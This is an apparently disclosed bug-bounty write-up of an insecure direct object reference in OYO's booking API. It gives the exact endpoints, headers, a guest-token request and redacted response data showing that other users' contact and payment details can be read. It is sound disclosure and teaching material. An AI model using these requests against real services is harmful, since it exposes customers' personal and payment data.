BOOK THIS SPACE FOR AD
ARTICLE ADHello everyone,
In this post, I will show you how I discovered an Insecure Direct Object Reference (IDOR) vulnerability at the Get Payment Data endpoint. Due to this vulnerability, attackers could access sensitive information such as Personal Identifiable Information (PII) & payment information from other users.
What are insecure direct object references (IDOR)?
According to PortSwigger Web Security Academy, Insecure direct object references (IDOR) are a type of access control vulnerability that arises when an application uses user-supplied input to access objects directly. The term IDOR was popularized by its appearance in the OWASP 2007 Top Ten. However, it is just one example of many access control implementation mistakes that can lead to access controls being circumvented. IDOR vulnerabilities are most commonly associated with horizontal privilege escalation, but they can also arise in relation to vertical privilege escalation.
Some real-life cases of IDOR attacks:
IDOR to add secondary users in www.paypal.com/businessmanage/users/api/v1/users to PayPalIDOR allow access to payments data of any user to Nord SecurityInsecure Direct Object Reference (IDOR) — Delete Campaigns to HackerOneIDOR — Delete all Licenses and certifications from users account using CreateOrUpdateHackerCertification GraphQL query to HackerOneIDOR allows an attacker to modify the links of any user to RedditStarbucks IDOR: How we prevented an information leak of 6 million Starbucks customersYou can also check “Top IDOR reports from HackerOne”.
Who is the target?
OYO Rooms, also known as OYO Hotels & Homes, is an Indian multinational hospitality chain of leased and franchised hotels, homes and living spaces.
OYO has a Vulnerability Disclosure Program (VDP) on HackerOne, you can check it on their page OYO Vulnerability Disclosure Program for more details on the program scope, rules, etc.
Reconnaissance
Reconnaissance is the first phase of a penetration testing engagement. It involves gathering information about the target system or network that is going to be tested. The goal of reconnaissance is to gather as much information as possible about the target so that the penetration tester can understand the target system’s architecture, identify potential vulnerabilities, and develop an attack strategy. The reconnaissance phase is crucial because it helps the tester to understand the target better and to plan their attack accordingly.
OYO has an iOS mobile app version & I focused on my favorite testing area which is API testing, so my plan is to use the mobile apps & inspect the API request using Burp proxy.
This is where I casually use the mobile apps like normal users by exploring the functionality & after a while, this is where I found the vulnerability in the booking feature.
Steps To Reproduce
[1] Create 2 users attacker and victim.
[2] Let’s say the victim already created a booking, and the booking_id is 295081245.
[3] Now as attacker, log in to the OYO mobile apps, in this case, I'm using the iOS app, and turn on the Burp proxy to get the Access Token.
[4] Request the vulnerable endpoint to get sensitive information from the victim. We can use Postman.
Request:
GET https://bff.oyorooms.com/v1/booking/get_payment_data/295081245/?channel=IOS%20AppHeaders:
User-Agent: oyo-ios/9.0 (iPhone; iOS 15.8; Scale/2.00)
Access_token: {{access_token}}
Response:
{"header_widgets": null,
"content_widgets": [],
"content_widget_hidden_dividers": null,
"bottom_sheet": null,
"booking_object": {
"price_lock": false,
"show_tax_info": false,
"phone_number": "REDACTED",
"cancellation_charges_breakup_hash": [],
"oyo_wizard": {},
"payable_amount": 245854.0,
"is_offer_applicable": false,
"get_amount_paid": 0.0,
"get_real_amount_paid": 0.0,
"id": "295081245",
"hotel_id": 86177,
"no_of_guest": 2,
"roomCount": 1,
"guest_name": "REDACTED",
"guest_phone": "REDACTED",
"guest_email": "REDACTED",
"booking_rooms": [
{
"id": 365568362,
"booking_id": 295081245,
"no_of_person": 2,
"no_of_adults": 2,
"no_of_children": 0,
"no_of_pets": 0,
"no_of_babies": 0
}
],
"checkin": "2024-04-09",
"checkout": "2024-04-10",
"amount": 702438.0,
"status": "Confirm Booking",
"status_key": 0,
"final_amount": 245854.0,
"discount": 456584.0,
"currency_symbol": "Rp",
"coupon_code": "ADAOYO",
"roomNights": 1,
"total_amount": 702438.0,
"final_amount_excluding_oyo_money": 307317.0,
"total_amount_including_extra_cost": "245854",
"discounts_hash": [
{
"type": "coupon",
"amount": 395121.0,
"title": "Coupon Discount",
"display_amount": null,
"subtitle": [
"Coupon: ADAOYO"
]
},
{
"type": "oyo_money",
"amount": 61463.0,
"title": "OYO MONEY DISCOUNT",
"display_amount": null,
"subtitle": [
"OYO XTRA DISCOUNT"
]
}
],
"payments_hash": [],
"room_category": {
"room_category_id": 30,
"room_category_name": "Indonesia Standard Double"
},
"display_tariff": 702438.0,
"hotel": {
"id": 86177,
"name": "Super OYO 1948 Apartement REDACTED",
"country_id": 96,
"directions": "From REDACTED toll gate, take left (go east) to Jl. REDACTED. After 1 km, right after EMC Hospital, take left and follow the lane. On the roundabout take the second exit. After 500 m, the property will be on the left. ",
"formatted_checkin_time": "02:00 PM",
"formatted_checkout_time": "12:00 PM",
"address": "REDACTEDr",
"category": "OYO Hotels",
"currency_code": "IDR",
"country_iso_code": "ID",
"alternate_name": "Apartement REDACTED",
"status": "Live",
"latitude": "REDACTED",
"longitude": "REDACTED",
"oyo_id": "ID_BGR017",
"city": "REDACTED",
"phone": "REDACTED",
"primary_contact": "REDACTED",
"plot_number": "No. 40",
"street": "REDACTED",
"pincode": "REDACTED"
},
"static_display_text": {
"header_text": "Your booking is confirmed",
"sticky_text": "Confirmed Booking"
},
"pricing_details": [
{
"title": "Room price for 1 night X 2 guests",
"amount": 702438.0,
"type": "room_tariff"
}
],
"payment_details": [
{
"title": "Coupon Discount",
"amount": 395121.0,
"type": "coupon"
},
{
"title": "OYO MONEY",
"amount": 61463.0,
"type": "oyo_money"
}
],
"created_at": "2024-02-05T18:10:29.570+05:30",
"booking_policies": {
"title": "Booking Policies",
"data": [
{
"id": "dp6"
}
]
},
"invoice_no": "MNPS0830",
"get_payment_status": "Pending",
"amount_refunded": "0.0",
"is_slot_booking": false,
"slot_info": [],
"is_modifiable": false,
"booking_no": "MNPS0830",
"refunds_hash": {
"notice": "If refund is not received in next 10-12 days get in touch with us using your Booking id",
"breakup": []
},
"tax_amount": 0,
"guest": {
"country_code": "+62"
},
"insurance_banner": {
"image_url": "https://oyo-crs-assets.s3-ap-southeast-1.amazonaws.com/OYOs-widget-in-Grabs-App_3.jpg",
"deep_link": "https://www.oyorooms.com/weblink?url=https://www.acko.com/oyo/knowmore/en"
},
"hotel_image": "https://images.oyoroomscdn.com/uploads/hotel_image/86177/c49932e33ea1121f.jpg",
"opted_services": {
"meals": {}
},
"city": "REDACTED",
"country_name": "REDACTED",
"booking_amount_for_wizard": 307317.0,
"is_corporate": false,
"insurance_enabled": true,
"oyo_money_refunded": 0.0,
"amount_refundable": 61463,
"oyo_money_refundable": 61463,
"total_amount_refunded": 0,
"cancellation_charges": 0,
"total_amount_paid": 61463,
"mor_flag": false,
"occupancy_wise_room_config": {
"2": 1
},
"source": "Web Booking",
"program_info": [],
"get_payment_status_id": 0,
"soft_checkin_location_status": "PENDING",
"noOfNights": 1,
"oyo_cashback_opted": false,
"free_room_night_discount": {
"discount_amount": 0,
"discount_percentage": 0,
"frn_code": null,
"unit_discount_info": null
}
},
"status_data": null,
"experience_dialog_delay": null
}
As we can see, we are able to get sensitive information such as PII & payment information from the victim.
[5] After checking again, I discover that I’m actually using the ANONYMOUS_GUEST token, so for step 3 it's not necessary to log in to the mobile apps, so we can choose I'll signup later instead to get the ANONYMOUS_GUEST token.
Here’s an example of the token information:
Request:
GET https://bff.oyorooms.com/v2/users/anonymous_login?device_id=FFB8F993-F89D-47F6-ABC9-994B20586A79&lat=0&lon=0&magik_ab_disable=1&version=9.0Headers:
User-Agent: oyo-ios/9.0 (iPhone; iOS 15.8; Scale/2.00)
Access_token: Q0s3RGV2M3hZcFp6QjRib2lIUmE6a1lWNjVGZXRrcWdOM0d6S3V5aEc=
Response:
{"id": 195645906,
"phone": null,
"email": "ffb8f993-f89d-47f6-abc9-994b20586a79.anonymous@oyorooms.com",
"city": null,
"sex": null,
"team": null,
"role": "Guest",
"address": null,
"features": {
"enable_chat": "false"
},
"ovhUser": false,
"access_token": "F8cdvdVOlKmfRIB7DBhLow",
"user_id": 108766585,
"country_code": "+62",
"first_name": "Guest",
"last_name": null,
"date_of_birth": null,
"devise_role": "ANONYMOUS_GUEST",
"phone_verified": false,
"email_verified": true,
"updated_at": 1707137689,
"is_relationship_mode_on": null,
"can_access_company_account": null,
"can_access_profile": null,
"can_change_commission": null,
"home_page_type": "true",
"country_iso_code": "ID"
}
[6] After digging deeper I actually found that other endpoint is also vulnerable GET https://bff.oyorooms.com/v1/booking/{{booking_id}}
Impact
[1] Attackers could view the booking information of the victim which contains:
Personal Infomation, e.g. guest_name, guest_phone, guest_email.Other sensitive information, e.g. hotel_id, hotel_name, country_id, country_name, latitude, longitude, no_of_guest, roomCount, checkin, checkout, etc.[2] Attackers could view the payment booking information of the victim which contains pricing_details, payment_details, amount_refundable, oyo_money_refundable, total_amount_paid, coupon_code, discounts, etc.
Mitigation
Enforced access control check on the affected endpoint to ensure the privacy and security of OYO’s users by checking if the booking_id is owned by the logged-in user, by checking from their access token.
Conclusion
In summary, the exploration of the IDOR vulnerability within the booking feature highlights the importance of maintaining the security of the API to keep the system secure. From the security researcher’s point of view, it also highlights the importance of mobile app testing for content discovery that could lead to finding vulnerabilities.